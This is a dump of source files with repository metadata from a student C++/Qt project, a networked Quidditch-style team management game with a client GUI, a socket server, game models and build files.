"alpha_fraction": 0.6765285730361938, "alphanum_fraction": 0.6883628964424133, "avg_line_length": 19.280000686645508, "blob_id": "fd15fe01c1137c2513ff98154441502cdac8177f", "content_id": "86fadaaa55d4b5913d1be04f9115e20f57b08a4c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 507, "license_type": "permissive", "max_line_length": 38, "num_lines": 25, "path": "/src/common/models/Installation.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef INSTALLATION_h\n#define INSTALLATION_h\n\n#include <math.h>\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n\nclass Installation {\n\npublic:\n Installation(JsonValue * json);\n Installation(int level=1);\n ~Installation();\n virtual void improve();\n virtual int improvePrice();\n virtual int getLevel();\n operator JsonDict() const;\n\nprotected:\n int level_;\n static const int baseprice_ = 100;\n static const int powerprice_ = 10;\n};\n\n#endif // INSTALLATION_h\n" }, { "alpha_fraction": 0.6777531504631042, "alphanum_fraction": 0.6851441264152527, "avg_line_length": 19.815383911132812, "blob_id": "110f023bce77af02ee46ebed81a4fa674e2d0466", "content_id": "5e6a5d5b197b26cbc8410837da21b71284d2345c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1353, "license_type": "permissive", "max_line_length": 266, "num_lines": 65, "path": "/src/common/models/Player.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Player.h\"\n\nusing namespace std;\n\nPlayer::Player(int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, vector<Item> inventory): speed_(speed), force_(force), agility_(agility), reflexes_(reflexes), passPrecision_(passPrecision), wounded_(wounded), inventory_(inventory) {}\n\nPlayer::Player(): speed_(10), force_(10), agility_(10), reflexes_(10), passPrecision_(10), wounded_(false), inventory_() {}\n\nPlayer::~Player() {}\n\nint Player::getSpeed() const {\n return speed_;\n}\n\nint Player::getForce() const {\n return force_;\n}\n\nint Player::getAgility() const {\n return agility_;\n}\n\nint Player::getReflexes() const {\n return reflexes_;\n}\n\nint Player::getPassPrecision() const {\n return speed_;\n}\n\nbool Player::isWounded() const {\n return wounded_;\n}\n\nvoid Player::setWoundedState(bool wound) {\n wounded_ = wound;\n}\n\nvector<Item> Player::getInventory() const {\n return inventory_;\n}\n\nvoid Player::setSpeed(int speed) {\n speed_ = speed;\n}\n\nvoid Player::setForce(int force) {\n force_ = force;\n}\n\nvoid Player::setAgility(int agility) {\n agility_ = agility;\n}\n\nvoid Player::setReflexes(int reflexes) {\n reflexes_ = reflexes;\n}\n\nvoid Player::setPassPrecision(int passPrecision) {\n passPrecision_ = passPrecision;\n}\n\nvoid Player::setWoundState(bool woundState) {\n wounded_ = woundState;\n}\n" }, { "alpha_fraction": 0.6737967729568481, "alphanum_fraction": 0.6844919919967651, "avg_line_length": 16, "blob_id": "844bb5c45ddc5b77af02424fb3f1a1921f7870b1", "content_id": "3bccf93678d75971550a59c732a949f6ab8a8b54", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 187, "license_type": "permissive", "max_line_length": 63, "num_lines": 11, "path": "/src/common/models/Position.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef POSITION_H\n#define POSITION_H\n\nstruct Position {\n unsigned int x;\n unsigned int y;\n};\n\nbool operator ==(const Position & pos1, const Position & pos2);\n\n#endif // POSITION_H\n" }, { "alpha_fraction": 0.5899532437324524, "alphanum_fraction": 0.5969626307487488, "avg_line_length": 25.75, "blob_id": "e75c6547f8d9c6a38807c57824f6fc221a1991eb", "content_id": "3558a28e84534e781397811672921050e155ee20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1712, "license_type": "permissive", "max_line_length": 98, "num_lines": 64, "path": "/src/common/lib/socket/BindSocket.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"BindSocket.h\"\n\n// using namespace std;\n\n\nBindSocket::BindSocket(std::string hostname, int port) {\n mutex_init();\n\n int sockfd;\n struct sockaddr_in my_addr;\n struct sockaddr_in their_addr;\n int yes = 1;\n\n if ((sockfd = socket(PF_INET,\n SOCK_STREAM, 0)) == -1) {\n throw SocketError(\"socket : \" + std::string(strerror(errno)));\n }\n\n if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {\n throw SocketError(\"setsockopt : \" + std::string(strerror(errno)));\n }\n\n my_addr.sin_family = AF_INET;\n my_addr.sin_port = htons(port);\n my_addr.sin_addr.s_addr = INADDR_ANY;\n memset(&(my_addr.sin_zero), '\\0', 8);\n\n if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {\n throw SocketError(\"bind : \" + std::string(strerror(errno)));\n }\n\n if (listen(sockfd, BACKLOG) == -1) {\n throw SocketError(\"listen : \" + std::string(strerror(errno)));\n }\n\n fd_ = sockfd;\n}\n\nClientSocket * BindSocket::accept_client() {\n char new_fd = -2;\n sockaddr_storage remote_addr;\n socklen_t address_len;\n\n address_len = sizeof remote_addr;\n while (new_fd < 0) {\n new_fd = accept(fd_, (struct sockaddr *)&remote_addr, &address_len);\n if (new_fd == -1) {\n perror(\"accept\");\n }\n }\n\n return new ClientSocket(new_fd, remote_addr);\n}\n\n\nClientSocket::ClientSocket(const int fd, sockaddr_storage remote): Socket(fd) {\n remote_addr_ = remote;\n}\n\nstd::string ClientSocket::remote() {\n char s[INET6_ADDRSTRLEN];\n inet_ntop(remote_addr_.ss_family, get_in_addr((struct sockaddr *)&remote_addr_), s, sizeof s);\n return std::string(s);\n}\n" }, { "alpha_fraction": 0.5230618119239807, "alphanum_fraction": 0.5436702370643616, "avg_line_length": 21.64444351196289, "blob_id": "611492de70c34529efbf31e4f859962c5d27c108", "content_id": "37a63d4c677f099598ce0754d8a59bbf55a1364d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1019, "license_type": "permissive", "max_line_length": 61, "num_lines": 45, "path": "/src/common/lib/test/main.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "//#include \"Club.h\"\n//#include \"Match.h\"\n//\n//#include <iostream>\n//\n//using namespace std;\n//\n//int main(int argc, char const *argv[])\n//{\n// // NonFieldPlayer *playersT1[7];\n// // NonFieldPlayer *playersT2[7];\n//\n//\n// // playersT2[0] = new NonFieldPlayer();\n//\n// // playersT2[1] = new NonFieldPlayer();\n// // playersT2[2] = new NonFieldPlayer();\n//\n// // playersT2[3] = new NonFieldPlayer();\n//\n// // playersT2[4] = new NonFieldPlayer();\n//\n// // playersT2[5] = new NonFieldPlayer();\n//\n// // playersT2[6] = new NonFieldPlayer();\n//\n// // Team teamOne(playersT1);\n// // Team teamTwo(playersT2);\n// Club host = Club();\n// Club guest = Club();\n//\n// Match match = Match(host,guest);\n// string x = match.print();\n// cout<<x<<endl;\n// bool ended = false;\n// /*\n// while (not ended){\n// //L'utilisateur choisit quels pions et ou le bouger\n// match.moveBalls();\n// //passe la main a l'autre utilisateur\n//\n// }\n// */\n// return 0;\n//}\n" }, { "alpha_fraction": 0.7457912564277649, "alphanum_fraction": 0.747474730014801, "avg_line_length": 15.5, "blob_id": "2dc63127b40c13d37ac2c8d6844f10ec19f38ba0", "content_id": "26eded5875147a872665d0ba43affb73b25f2dfa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "permissive", "max_line_length": 55, "num_lines": 36, "path": "/src/client/gui/auctionhousewidget.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef AUCTIONHOUSEWIDGET_H\n#define AUCTIONHOUSEWIDGET_H\n\n\n#include <QMainWindow>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QLabel>\n#include <QFile>\n#include <QPushButton>\n#include <QBoxLayout>\n#include <QWidget>\n#include <QString>\n#include <QComboBox>\n#include <QTableWidget>\n#include <iostream>\n\nclass MainWindow;\n\nclass AuctionHouseWidget: public QWidget {\n Q_OBJECT\npublic:\n explicit AuctionHouseWidget(MainWindow * parent=0);\n\nsignals:\n\npublic slots:\n void backToMenu();\n\nprivate:\n MainWindow * parent_;\n};\n\n#include <mainwindow.h>\n\n#endif // AUCTIONHOUSEWIDGET_H\n" }, { "alpha_fraction": 0.7001368999481201, "alphanum_fraction": 0.7042446136474609, "avg_line_length": 25.08333396911621, "blob_id": "8935c098fed7316f58fa2ea7585c1c5dcf045780", "content_id": "026882331c855c42f9e851397493a94973c025e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2191, "license_type": "permissive", "max_line_length": 132, "num_lines": 84, "path": "/src/client/gui/mainwindow.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QLabel>\n#include <QFile>\n#include <QPushButton>\n#include <QVBoxLayout>\n#include <QCloseEvent>\n#include <QCoreApplication>\n#include <QDir>\n#include <vector>\n#include <menuwindow.h>\n#include <loginscreenwidget.h>\n#include <matchwidget.h>\n#include <teamhandlingwidget.h>\n#include <auctionhousewidget.h>\n#include <infrastructurewidget.h>\n#include <../../common/models/Case.h>\n#include <../send-views/views.h>\n\n#ifdef __APPLE__\n#define ROOT_DIR QCoreApplication::applicationDirPath() + \"/../../..\"\n#else\n#define ROOT_DIR QCoreApplication::applicationDirPath()\n#endif\n\nenum {LOGINMENUSTATE = 1, MAINMENUSTATE = 2, AUCTIONHOUSESTATE = 3, TEAMHANDLINGSTATE = 4, MATCHSTATE = 5, INFRASTRUCTURESTATE = 6};\n\n\nclass MainWindow: public QWidget {\n Q_OBJECT\n\npublic:\n\n explicit MainWindow(QWidget * parent=0);\n QVBoxLayout * backgroundLayout;\n QWidget * getCurrentWidget();\n ~MainWindow();\n void setSocket(Socket * s);\n Socket * getSocket();\n void askPlayers();\n vector<NonFieldPlayer *> getPlayers();\n bool isFirstMenu();\n void setFirstMenu(bool menu);\n void closeEvent(QCloseEvent * event);\n\nsignals:\n void loginSuccess();\n void loginFailure(int);\n void registerSuccess();\n void userList(std::vector<std::string> *);\n void registerFailure(int);\n void newDefi(std::string * username, int matchID);\n //void setMatch(Match * match);\n void endMatch(int signal);\n void startMatch(Match * match, bool isGuest, int matchID);\n void updateMatch(Match * match);\n\n\n void playerList(std::vector<NonFieldPlayer *> * players);\n\npublic slots:\n void setNextScreen(int nextState, Match * startingMatch=0, bool isGuest=false, int matchID=-1);\n void getDefi(std::string * username, int matchID);\n void recievePlayers(std::vector<NonFieldPlayer *> * players);\n\n\nprivate:\n QLineEdit * usernameLine;\n QLineEdit * passLine;\n QWidget * currentWidget;\n Socket * s_;\n std::vector<NonFieldPlayer *> playersList;\n bool firstMenu = true;\n MenuWindow * menu_;\n MatchWidget * match_;\n\n\n};\n\n#endif // MAINWINDOW_H\n" }, { "alpha_fraction": 0.6089385747909546, "alphanum_fraction": 0.6265447735786438, "avg_line_length": 31.456043243408203, "blob_id": "d185110b55faf48608b11fdd154a9fbeeb96136f", "content_id": "c3a786d7638f66f90c6faca8bdfd4aca15539c92", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5907, "license_type": "permissive", "max_line_length": 138, "num_lines": 182, "path": "/src/client/gui/menuwindow.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"menuwindow.h\"\n#include <iostream>\nusing namespace std;\n\nMenuWindow::MenuWindow(MainWindow * parent):\n QWidget(parent), parent_(parent) {\n //-------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/Quidditch_pitch_hogwarts.jpg\"));\n layout->addWidget(image);\n this->setLayout(layout);\n\n //---------------------MAIN CONTAINER WIDGET---------------------------\n QWidget * mainWidget = new QWidget(this);\n mainWidget->setFixedHeight(720);\n mainWidget->setFixedWidth(1280);\n QGridLayout * mainLayout = new QGridLayout(mainWidget);\n\n matchLauncherWidget = new QWidget(this);\n\n matchLauncherLayout = new QGridLayout(matchLauncherWidget);\n\n //---------------------------OPPONENT CHOICE-------------------\n list = new QComboBox(matchLauncherWidget);\n list->addItem(\"Refresh list of connected opponents ->\");\n\n QPushButton * startMatchButton = new QPushButton(\"CHALLENGE!\", matchLauncherWidget);\n\n startMatchButton->setMinimumHeight(40);\n startMatchButton->setStyleSheet(\" font-weight: bold; font-size: 18pt;\");\n QPushButton * refreshButton = new QPushButton(\"Refresh\", matchLauncherWidget);\n\n QObject::disconnect(refreshButton, 0, 0, 0);\n\n QObject::connect(refreshButton, SIGNAL(clicked()), this, SLOT(askConnectedListRefresh()));\n\n matchLauncherLayout->addWidget(list, 0, 0, 1, 3);\n matchLauncherLayout->addWidget(startMatchButton, 1, 0, 1, 4);\n matchLauncherLayout->addWidget(refreshButton, 0, 3);\n\n\n matchLauncherWidget->setFixedHeight(100);\n matchLauncherWidget->setFixedWidth(400);\n\n\n matchLauncherWidget->setLayout(matchLauncherLayout);\n\n //--------------------CHALLENGE BUTTON--------------------------\n\n QObject::disconnect(startMatchButton, 0, 0, 0);\n\n QObject::connect(startMatchButton, SIGNAL(clicked()), this, SLOT(sendChallenge()));\n\n //-------------------AUCTIONHOUSE BUTTON-------------------------\n auctionHouseButton = new QPushButton(\"Auction House\");\n auctionHouseButton->setMinimumHeight(60);\n\n QObject::disconnect(auctionHouseButton, 0, 0, 0);\n connect(auctionHouseButton, SIGNAL(clicked()), this, SLOT(auctionHouse()));\n\n\n //-----------------TEAM HANDLING BUTTON--------------------------\n teamHandlingButton = new QPushButton(\"Team Handling\");\n teamHandlingButton->setMinimumHeight(60);\n\n QObject::disconnect(teamHandlingButton, 0, 0, 0);\n\n connect(teamHandlingButton, SIGNAL(clicked()), this, SLOT(handlePlayers()));\n\n //-----------------INFRASTRUCTURE BUTTON--------------------------\n infrastructureButton = new QPushButton(\"Infrastructures\");\n infrastructureButton->setMinimumHeight(60);\n //if(firstMenu){\n\n QObject::disconnect(infrastructureButton, 0, 0, 0);\n connect(infrastructureButton, SIGNAL(clicked()), this, SLOT(infrastructures()));\n //}\n\n //------------------DISCONNECT BUTTON---------------------------\n disconnectButton = new QPushButton(\"Quit\");\n disconnectButton->setMinimumHeight(60);\n //if(firstMenu){\n\n QObject::disconnect(disconnectButton, 0, 0, 0);\n connect(disconnectButton, SIGNAL(clicked()), this, SLOT(logOut()));\n //}\n\n //-----------------------CUSTOM SIGNALS CONNECTION--------------------\n\n\n QObject::disconnect(parent_, SIGNAL(startMatch(Match *, bool, int)), 0, 0);\n QObject::connect(parent_, SIGNAL(startMatch(Match *, bool, int)), this, SLOT(startMatch(Match *, bool, int)));\n QObject::connect(parent_, SIGNAL(userList(std::vector<std::string> *)), this, SLOT(refreshConnectedList(std::vector<std::string> *)));\n //}\n //----------------USELESS WIDGETS FOR A BETTER GUI---------------\n QWidget * temp = new QWidget;\n temp->setFixedHeight(20);\n temp->setFixedWidth(20);\n QWidget * temp2 = new QWidget;\n temp2->setFixedHeight(20);\n temp2->setFixedWidth(20);\n\n //---------------------ADD WIDGETS TO THE WINDOW--------------\n mainLayout->addWidget(temp, 0, 0, 1, 1);\n mainLayout->addWidget(auctionHouseButton, 1, 1, 1, 1);\n mainLayout->addWidget(disconnectButton, 4, 2, 1, 1);\n mainLayout->addWidget(teamHandlingButton, 1, 3, 1, 1);\n mainLayout->addWidget(infrastructureButton, 1, 2, 1, 1);\n mainLayout->addWidget(matchLauncherWidget, 2, 2, 2, 1);\n mainLayout->addWidget(temp2, 5, 4, 1, 1);\n mainWidget->setLayout(mainLayout);\n //--------------------------DISPLAY---------------------------\n mainWidget->show();\n\n\n}\n\nvoid MenuWindow::handlePlayers() {\n parent_->askPlayers();\n\n}\n\nbool MenuWindow::isActive() {\n return active;\n}\n\nvoid MenuWindow::enable() {\n active = true;\n}\nvoid MenuWindow::disable() {\n active = false;\n}\n\n\nvoid MenuWindow::infrastructures() {\n parent_->setNextScreen(INFRASTRUCTURESTATE);\n\n}\n\nvoid MenuWindow::sendChallenge() {\n string opponent = list->currentText().toStdString();\n sviews::challenge(parent_->getSocket(), opponent);\n\n}\n\nvoid MenuWindow::startMatch(Match * startingMatch, bool isGuest, int matchID) {\n parent_->setNextScreen(MATCHSTATE, startingMatch, isGuest, matchID);\n}\n\nvoid MenuWindow::logOut() {\n parent_->close();\n\n\n}\n\nvoid MenuWindow::auctionHouse() {\n parent_->setNextScreen(AUCTIONHOUSESTATE);\n}\n\nvoid MenuWindow::refreshConnectedList(vector<string> * connectedList) {\n list->clear();\n list->addItem(\"Choose an opponent :\");\n list->insertSeparator(1);\n\n\n for (int i = 0; i < (int)connectedList->size(); ++i) {\n string mess = (*connectedList)[i];\n list->addItem(QString::fromStdString(mess));\n }\n\n delete connectedList;\n connectedList = NULL;\n}\n\nvoid MenuWindow::askConnectedListRefresh() {\n sviews::userlist(parent_->getSocket());\n}\n" }, { "alpha_fraction": 0.6056337952613831, "alphanum_fraction": 0.6056337952613831, "avg_line_length": 13.199999809265137, "blob_id": "f5842ef31dd24dda879547f2df5f6858281019e4", "content_id": "28ef7d3fbf8d98f7d91efebf025c53514bab1328", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 71, "license_type": "permissive", "max_line_length": 27, "num_lines": 5, "path": "/src/common/lib/thread/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libthread\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.594936728477478, "alphanum_fraction": 0.6183778643608093, "avg_line_length": 39.24528121948242, "blob_id": "f2893c51bd964bbbbf63a1fa686504c24fc7dbf0", "content_id": "872a6b1a33ee6abcf204655df49000b8a918294f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2133, "license_type": "permissive", "max_line_length": 130, "num_lines": 53, "path": "/src/client/gui/auctionhousewidget.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"auctionhousewidget.h\"\n\nAuctionHouseWidget::AuctionHouseWidget(MainWindow * parent):\n QWidget(parent), parent_(parent) {\n //-------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/Quidditch_pitch_hogwarts.jpg\"));\n layout->addWidget(image);\n this->setLayout(layout);\n\n //---------------------MAIN CONTAINER WIDGET---------------------------\n QWidget * mainWidget = new QWidget(this);\n mainWidget->setFixedHeight(720);\n mainWidget->setFixedWidth(1280);\n\n\n QWidget * message = new QWidget(mainWidget);\n QGridLayout * messageLayout = new QGridLayout(message);\n message->setFixedSize(600, 300);\n message->move((mainWidget->width() - 600) / 2, (mainWidget->height() - 300) / 2);\n message->setStyleSheet(\"padding: 10px;\"\n \"border-style: solid;\"\n \"border-width: 3px;\"\n \"border-radius: 7px; border : 4px solid black; background : url(images/wood.jpg);\");\n QLabel * textMessage = new QLabel(\"Auction House is in construction!\\n Come back later!\", mainWidget);\n textMessage->setStyleSheet(\"color : white; font-size : 20px;\");\n textMessage->setFixedWidth(570);\n textMessage->setFixedHeight(100);\n messageLayout->addWidget(textMessage);\n message->setLayout(messageLayout);\n //textMessage->move((mainWidget->width())/2-270,(mainWidget->height())/2-30);\n\n QGridLayout * mainLayout = new QGridLayout(mainWidget);\n\n QPushButton * backButton = new QPushButton(\"Back\", mainWidget);\n backButton->setMinimumHeight(60);\n connect(backButton, SIGNAL(clicked()), this, SLOT(backToMenu()));\n\n mainLayout->addWidget(message);\n mainLayout->addWidget(backButton);\n mainWidget->setLayout(mainLayout);\n\n\n}\n\nvoid AuctionHouseWidget::backToMenu() {\n parent_->setNextScreen(MAINMENUSTATE);\n}\n" }, { "alpha_fraction": 0.7110552787780762, "alphanum_fraction": 0.7211055159568787, "avg_line_length": 19.947368621826172, "blob_id": "db3afb4ac1a7dc7e4812114e4a6fc8a0ffacd1d1", "content_id": "5c21ba51194a93ce69f42574c47f57e6b4d0c83e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 398, "license_type": "permissive", "max_line_length": 67, "num_lines": 19, "path": "/src/common/lib/file/file.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef FILES_H\n#define FILES_H\n\n#include <fcntl.h>\n#include <unistd.h>\n#include <iostream>\n#include <sys/stat.h>\n#include <errno.h>\n\n#define BUFF_SIZE 1024\n\nint readFile(const std::string & filename, std::string & content);\nint writeFile(const std::string & filename, std::string & content);\n\nbool fileExists(const std::string & filename);\n\nbool createDir(std::string dirname);\n\n#endif // FILES_H\n" }, { "alpha_fraction": 0.5378206968307495, "alphanum_fraction": 0.5441519618034363, "avg_line_length": 27.580951690673828, "blob_id": "529829e1363a3e15adda31e46762ba0a5cf55a37", "content_id": "ad412535617603ea1cbcae5f3994069d723bbb5e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3001, "license_type": "permissive", "max_line_length": 85, "num_lines": 105, "path": "/src/server/main.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../common/lib/json/json.h\"\n#include \"../common/lib/file/file.h\"\n#include \"../common/lib/socket/BindSocket.h\"\n#include \"../common/lib/thread/thread.h\"\n#include \"client_loop.h\"\n#include \"sharedData.h\"\n\nusing namespace std;\n\nint main(int argc, char * argv[]) {\n const char * slash = strrchr(argv[0], '/');\n if (slash) {\n std::string clientdir(argv[0], slash - argv[0]);\n chdir(clientdir.c_str());\n }\n\n string configfile;\n if (argc == 1) {\n configfile = \"../../server-config.json\";\n }\n else if (argc == 3) {\n configfile = argv[2];\n }\n else {\n printf(\"Unknown option\\n\");\n exit(0);\n }\n if (!fileExists(configfile)) {\n printf(\"Missing configuration file\\nSearched at : %s\\n\", configfile.c_str());\n exit(0);\n }\n\n string config;\n if (readFile(configfile, config) != 0) {\n printf(\"Error while reading configuration file\");\n exit(0);\n }\n JsonValue * val = JsonValue::fromString(config);\n JsonDict * dict = JDICT(val);\n if (dict == NULL) {\n printf(\"Error while parsing configuration file\");\n exit(0);\n }\n JsonInt * port_p = JINT((*dict)[\"port\"]);\n JsonString * data_p = JSTRING((*dict)[\"datapath\"]);\n string datapath;\n if (port_p == NULL) {\n printf(\"Error while parsing configuration file\");\n exit(0);\n }\n if (data_p != NULL) {\n datapath = *data_p;\n }\n else {\n datapath = \"../../data/\";\n }\n if (datapath[datapath.size() - 1] != '/') {\n datapath += \"/\";\n }\n bool createok = true;\n if (!fileExists(datapath + \"users/\")) {\n createok = createDir(datapath + \"users/\");\n }\n if (!createok) {\n cout << \"The data dir (\" << datapath << \") could not be created\" << endl;\n return -1;\n }\n\n int port = *port_p;\n BindSocket * binded;\n try {\n binded = new BindSocket(\"\", port);\n }\n catch (const SocketError & so) {\n cout << so.what() << endl << \"Exiting now.\" << endl;\n return -1;\n }\n cout << \"Waiting for connections...\" << endl;;\n\n struct server_shared_data shared_data = {\n .handlers_list = vector<UserHandler *>(),\n .match_list = vector<Match *>(),\n .datapath = datapath,\n .challenge_list = vector<struct Challenge>(),\n .last_challenge_id = 0,\n };\n\n while (1) {\n vector<Thread> thread_pool = vector<Thread>();\n ClientSocket * client_socket = binded->accept_client();\n cout << \"Got connection from \" << client_socket->remote() << endl;\n\n UserHandler * current_handler = new UserHandler(&shared_data, client_socket);\n thread_pool.push_back(Thread(client_loop, current_handler));\n\n shared_data.handlers_list.push_back(current_handler);\n\n for (int i = 0; i < thread_pool.size(); i++) {\n if (!thread_pool.at(i).alive()) {\n thread_pool.erase(thread_pool.begin() + i);\n }\n }\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.6670807600021362, "alphanum_fraction": 0.6695652008056641, "avg_line_length": 17.295454025268555, "blob_id": "aeadb3f96a8b3c6c6563d946bea8a699508e996c", "content_id": "6c05bafe636a6ee71d40de2770667d247fca1854", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 805, "license_type": "permissive", "max_line_length": 44, "num_lines": 44, "path": "/src/common/lib/socket/Socket.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SOCKET_H\n#define SOCKET_H\n\n#include <sys/socket.h>\n\n#include <stdlib.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n#include <pthread.h>\n\n#include <iostream>\n#include <string>\n#include <string.h>\n\n#include \"../exception/SocketError.h\"\n\n\n#define SBUFF_SIZE 32\n#define MESSAGE_END \"\\n\\n\"\n\nclass Socket {\npublic:\n Socket();\n Socket(const int fd);\n Socket(std::string hostname, int port);\n ~Socket();\n virtual int write(std::string message);\n virtual int read(std::string & message);\n virtual int getFd() const;\n virtual void setFd(const int fd);\n\nprotected:\n char buffer[SBUFF_SIZE];\n int fd_;\n virtual std::string popFromBuffer();\n virtual void mutex_init();\n pthread_mutex_t read_lock;\n pthread_mutex_t write_lock;\n\n};\n\n//SOCKET_H\n#endif\n" }, { "alpha_fraction": 0.6846473217010498, "alphanum_fraction": 0.6887966990470886, "avg_line_length": 14.0625, "blob_id": "e68f52bdc667c842230c6c4edab5bef0d0bd7033", "content_id": "f09c8412752cdaffbbc2e77bc5033629267d18b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 241, "license_type": "permissive", "max_line_length": 38, "num_lines": 16, "path": "/src/common/models/Infirmary.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef INFIRMARY_H\n#define INFIRMARY_H\n\n#include \"Installation.h\"\n#include \"Player.h\"\n\n\nclass Infirmary: public Installation {\n\npublic:\n Infirmary(int level=1);\n ~Infirmary();\n void heal(Player & player);\n};\n\n#endif // INFIRMARY_H\n" }, { "alpha_fraction": 0.6590909361839294, "alphanum_fraction": 0.6590909361839294, "avg_line_length": 16.600000381469727, "blob_id": "d86bb6bb54c47110afe19cca54f56c2a06080a10", "content_id": "bcc2a1d50c9b8b50c645e435565ed3993a25ed07", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 88, "license_type": "permissive", "max_line_length": 47, "num_lines": 5, "path": "/src/common/models/Field.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Field.h\"\n\nField::Field(int level): Installation(level) {}\n\nField::~Field() {}\n" }, { "alpha_fraction": 0.5730994343757629, "alphanum_fraction": 0.5847952961921692, "avg_line_length": 13.25, "blob_id": "61ec397bb12f2f93ac77e34efe0995ac7537e055", "content_id": "c7bf2aa71d259ebe6398624e8b2b6c6571d8f666", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 342, "license_type": "permissive", "max_line_length": 43, "num_lines": 24, "path": "/src/common/lib/thread/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../test/libtest.h\"\n#include \"thread.h\"\n\nusing namespace std;\n\n\nvoid * print_message(void *) {\n\n cout << \"Threading\" << endl;\n sleep(1);\n cout << \"Threading2\" << endl;\n sleep(1);\n return 0;\n}\n\nvoid test_thread() {\n Thread a = Thread(print_message, NULL);\n a.join();\n\n}\n\n#define TESTVEC {T(test_thread)}\n\nTEST();\n" }, { "alpha_fraction": 0.5069444179534912, "alphanum_fraction": 0.5173611044883728, "avg_line_length": 24.41176414489746, "blob_id": "52672e786d74d8d53c14cafa5e9169be6b0766e3", "content_id": "efc82dec58ed71661c40d33606da5e19b80eeea9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 864, "license_type": "permissive", "max_line_length": 76, "num_lines": 34, "path": "/src/common/lib/socket/helpers.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"helpers.h\"\n\nchar * get_ip_str(const struct sockaddr * sa, char * s, size_t maxlen=128) {\n switch (sa->sa_family) {\n case AF_INET:\n inet_ntop(AF_INET, &(((struct sockaddr_in *)sa)->sin_addr),\n s, maxlen);\n break;\n\n case AF_INET6:\n inet_ntop(AF_INET6, &(((struct sockaddr_in6 *)sa)->sin6_addr),\n s, maxlen);\n break;\n\n default:\n strncpy(s, \"Unknown AF\", maxlen);\n return NULL;\n }\n\n return s;\n}\n\nchar * addrinfo_to_ip(const addrinfo info, char * ip) {\n get_ip_str((struct sockaddr *)info.ai_addr, ip);\n return ip;\n}\n\nvoid * get_in_addr(const sockaddr * sa) {\n if (sa->sa_family == AF_INET) {\n return &(((struct sockaddr_in *)sa)->sin_addr);\n }\n\n return &(((struct sockaddr_in6 *)sa)->sin6_addr);\n}\n" }, { "alpha_fraction": 0.5326455235481262, "alphanum_fraction": 0.5404989123344421, "avg_line_length": 40.10126495361328, 